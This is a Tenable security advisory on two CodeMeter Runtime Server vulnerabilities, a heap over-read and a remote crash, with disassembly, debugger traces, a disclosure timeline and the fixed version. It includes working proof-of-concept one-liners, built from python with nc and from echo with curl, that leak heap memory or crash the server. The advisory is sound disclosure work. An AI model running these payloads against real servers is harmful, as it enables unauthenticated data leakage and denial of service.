tenable

Multiple Vulnerabilities in Wibu-Systems CodeMeter

Critical

← View More Research Advisories

Synopsis

CVE-2021-20093: CmLAN Server Unencrypted Message Buffer Over-read

The CodeMeter CmLAN server allows unencrypted messages from remote clients if the message body starts with '\xA2\x05'. When generating a response, the server copies data from a heap-based buffer of 0x100 bytes to an output buffer to be sent in the response. The amount to copy is controlled by the client. An unauthenticated remote attacker can exploit this issue to disclose heap memory contents or crash the CodeMeter Runtime Server (i.e., CodeMeter.exe), depending on the size of the message sent to the server.

The following code snippet shows the vulnerability:

```
CodeMeter.exe 7.20.4402.501
```

```
[...]
.text:0050FB0B    lea     eax, [edi+YS0001.buf]   ; heap buffer of 0x100 bytes
.text:0050FB0E    push    [edi+YS0001.bufsz]      ; attacker-controlled copy size
.text:0050FB0E                                    ; buffer over-read -> info disclosure or DoS
.text:0050FB11    push    eax
.text:0050FB12    lea     eax, [ecx+8]            ; output buffer in the response
.text:0050FB15    push    eax
.text:0050FB16    call    _memmove
[...]
```

The following PoC can be used to disclose heap memory contents:

```
python3 -c "import os,struct; size=0x200; os.write(1,b'samc'+struct.pack('<LHHL',size+2,0x71,1,0)+b'\xA2\x05'+b'A'*size)" | nc <CmHost> <CmLANServerPort> | xxd
0000000: 7361 6d63 0802 0000 7100 0100 0000 0000  samc....q.......
0000010: 0000 0000 6800 0000 0000 0000 0000 0000  ....h...........
0000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000030: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000040: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000060: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000070: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000080: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000090: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000b0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000c0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000d0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000e0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000f0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000100: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000110: 0000 0000 0000 0000 62cd 7e97 3a4a 0d00  ........b.~.:J..
0000120: d892 be01 90ef 4e01 0000 0000 0000 0000  ......N.........
0000130: 303b bc01 303b bc01 0000 0000 0000 0000  0;..0;..........
0000140: 403b bc01 403b bc01 0000 0000 0000 0000  @;..@;
```

Proof of Concept

The following PoC can be used to crash the CodeMeter Runtime Server (i.e., CodeMeter.exe):

```
python3 -c "import os,struct; size=0x1000000; os.write(1,b'samc'+struct.pack('<LHHL',size+2,0x71,1,0)+b'\xA2\x05'+b'A'*size)" | nc <CmHost> <CmLANServerPort> > /dev/null

python3 -c "import os,struct; size=0x1000000; os.write(1,b'samc'+struct.pack('<LHHL',size+2,0x71,1,0)+b'\xA2\x05'+b'A'*size)" | nc <CmHost> <CmLANServerPort> > /dev/null
Traceback (most recent call last):
  File "<string>", line 1, in <module>
BrokenPipeError: [Errno 32] Broken pipe
```

The following shows the access violation exception caused by the buffer over-read:

```
0:021> g
(19d8.8e8): C++ EH exception - code e06d7363 (first chance)
(19d8.8e8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=02c27a28 ebx=02d2f920 ecx=00fefa28 edx=01000000 esi=01c38000 edi=04dc7600
eip=008cf81e esp=02d2f8b8 ebp=02d2f938 iopl=0         nv up ei pl nz na po cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010203
CodeMeter+0x1bf81e:
008cf81e f3a4            rep movs byte ptr es:[edi],byte ptr [esi]
0:011> r
eax=02c27a28 ebx=02d2f920 ecx=00fefa28 edx=01000000 esi=01c38000 edi=04dc7600
eip=008cf81e esp=02d2f8b8 ebp=02d2f938 iopl=0         nv up ei pl nz na po cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010203
CodeMeter+0x1bf81e:
008cf81e f3a4            rep movs byte ptr es:[edi],byte ptr [esi]
0:011> db esi
01c38000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
01c38010  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
01c38020  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
01c38030  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
01c38040  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
```

CVE-2021-20094: CmWAN Server Unencrypted Message Remote DoS

The CodeMeter CmWAN server allows unencrypted messages from remote clients if the message body starts with '\xA2\x05'. When processing the message, the server calls an invalid C++ virtual function, resulting in an access violation exception leading to process termination. An unauthenticated remote attacker can exploit this issue to crash the CodeMeter Runtime Server (i.e., CodeMeter.exe).

The following code snippet shows the vulnerability:

```
CodeMeter.exe 7.20.4402.501
```

```
[...]
.text:004FB799    mov     edx, [ebp+pYS0083]
.text:004FB79C    xor     ecx, ecx
.text:004FB79E    add     esp, 0Ch
.text:004FB7A1    cmp     [ebp+buf.cbData], ecx
.text:004FB7A4    cmovnz  ecx, [ebp+buf.pbData]
.text:004FB7A8    mov     eax, [edx]
.text:004FB7AA    push    ecx
.text:004FB7AB    mov     ecx, edx
.text:004FB7AD    mov     eax, [eax+28h]
.text:004FB7B0    call    eax                     ; 0095f758 for CmWAN server
[...]
```

The code calls the virtual function at offset 0x28 of the vftable for class YS0083. However, the DWORD at the offset doesn't point to a function in a code section. Instead it points to somewhere (i.e., 0095f758) in a read-only section that doesn't contain code.

```
CodeMeter.exe 7.20.4402.501
```

```
.rdata:009177BC                                 ; sub_4B9D00+156↑o
.rdata:009177BC                                 ; sub_4BA590+68↑o
.rdata:009177BC                                 ; sub_4D50C0+6D↑o
.rdata:009177BC                                 ; sub_4D5270+7D↑o
.rdata:009177BC                                 ; sub_563D60+4E↑o
.rdata:009177BC                                 ; sub_563DD0+53↑o
.rdata:009177C0    dd offset sub_54BA30
.rdata:009177C4    dd offset sub_54B820
.rdata:009177C8    dd offset sub_54B920
.rdata:009177CC    dd offset YS0306_decrypt
.rdata:009177D0    dd offset sub_54B430
.rdata:009177D4    dd offset sub_54B710
.rdata:009177D8    dd offset sub_54B550
.rdata:009177DC    dd offset sub_54B540
.rdata:009177E0    dd offset sub_54B3E0
```

The end result is an access violation exception leading to process termination:

```
(1ef0.1264): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00c6f758 ebx=01d10138 ecx=01ce8da4 edx=01ce8da4 esi=01293a9c edi=01d11ed8
eip=00c6f758 esp=02e6f6f4 ebp=02e6f804 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
CodeMeter+0x55f758:
00c6f758 0000            add     byte ptr [eax],al          ds:002b:00c6f758=00
0:009> kb
 # ChildEBP RetAddr  Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00 02e6f804 007ef5a5 c003de67 01d10150 01d221f0 CodeMeter+0x55f758
01 02e6f844 007ef9c0 c003de5b 01d10138 43697000 CodeMeter+0xdf5a5
02 02e6f878 007ef36d c003deeb 01d10150 01d10138 CodeMeter+0xdf9c0
03 02e6f8fc 77753bb6 00000000 00000000 00000000 CodeMeter+0xdf36d
04 02e6f918 008ee6a3 01270000 00000000 01d0bb70 ntdll!RtlFreeHeap+0x46
05 02e6f92c 008d9a7b 01d0bb70 00000000 01d10150 CodeMeter+0x1de6a3
06 02e6f948 00863cc2 01d0bb70 c003deeb 02e6f99c CodeMeter+0x1c9a7b
07 02e6f958 00863e6c 01d10138 008640ce c003dfbf CodeMeter+0x153cc2
08 02e6f99c 0089715a c003dc83 01cf37a0 00000000 CodeMeter+0x153e6c
09 02e6faa4 008edf63 01cf37a0 01cf37a0 01cf36d8 CodeMeter+0x18715a
0a 02e6fb00 00737f0c 00000000 01b93480 00737ee0 CodeMeter+0x1ddf63
```

Proof of Concept

The following PoC can be used to crash the CodeMeter Runtime Server (i.e., CodeMeter.exe):

```
echo -ne '\xa2\x05\x00\x00\x00\x00' | curl -m 10 -H 'Content-Type: application/x-wibucm-coreapi' --data-binary @- http://<CmHost>:<CmWANServerPort>/
curl: (56) Failure when receiving data from the peer

echo -ne '\xa2\x05\x00\x00\x00\x00' | curl -m 10 -H 'Content-Type: application/x-wibucm-coreapi' --data-binary @- http://<CmHost>:<CmWANServerPort>/
curl: (7) couldn't connect to host
```

Solution

Wibu-Systems has released CodeMeter 7.21a, which fixes the vulnerabilities. https://www.wibu.com/us/support/user/downloads-user-software.html

Additional References

https://cdn.wibu.com/fileadmin/wibu_downloads/security_advisories/Advisory_WIBU-210423-01.pdf
https://cdn.wibu.com/fileadmin/wibu_downloads/security_advisories/Advisory_WIBU-210423-02.pdf

Disclosure Timeline

4/21/2021 - Vulnerabilities Discovered
4/21/2021 - Tenable asks support@wibu.us for a security contact
4/21/2021 - Wibu support creates a ticket and asks Tenable to use ticket. Access to ticket is denied.
4/21/2021 - Tenable asks for an email address to contact, notes inability to access ticket.
4/22/2021 - Tenable asks info@wibu.com for a security contact.
4/23/2021 - Wibu notifies Tenable to contact cert@wibu.com
4/23/2021 - Tenable reports vulnerabilities to Wibu CERT.
4/23/2021 - Wibu acknowledges.
4/26/2021 - Wibu reproduces issues and indicates they are working on fix.
5/03/2021 - Wibu sends draft of advisory, asks Tenable if Wibu can disclose issues to their customers without triggering Tenable disclosure.
5/03/2021 - Tenable informs Wibu that disclosing to customers would trigger public disclosure by Tenable.
5/25/2021 - Wibu shares beta for fixed version, asks Tenable to confirm fixes.
5/27/2021 - Tenable confirms proof of concepts for issues no longer work.
6/15/2021 - Wibu releases fixed version of CodeMeter, 7.21a.

All information within TRA advisories is provided "as is", without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email advisories@tenable.com

Risk Information

CVE ID: CVE-2021-20093
CVE-2021-20094
Tenable Advisory ID: tra-2021-24
CVSSv3 Base / Temporal Score: 9.1
7.5
CVSSv3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Affected Products: Wibu-Systems CodeMeter < 7.21a
Risk Factor: Critical

Advisory Timeline

6/15/2021 - Advisory published.

FEATURED PRODUCTS

Tenable One Exposure Management Platform

Tenable.cs Cloud Security

Tenable.io Vulnerability Management

Tenable.io Web App Scanning

Tenable.asm External Attack Surface

Tenable.ad Active Directory

Tenable.ot Operational Technology

Tenable.sc Security Center

Tenable Lumin

Nessus

→ View all Products

FEATURED SOLUTIONS

Application Security

Building Management Systems

Cloud Security Posture Management

Compliance

Exposure Management

Finance

Healthcare

IT/OT

Ransomware

State / Local / Education

US Federal

Vulnerability Management

Zero Trust

→ View all Solutions

CUSTOMER RESOURCES

Resource Library

Community & Support

Customer Education

Tenable Research

Documentation

Trust and Assurance

Nessus Resource Center

Cyber Exposure Fundamentals

System Status

CONNECTIONS

Blog

Contact Us

Careers

Investors

Events

Media

Privacy Policy   Legal   508 Compliance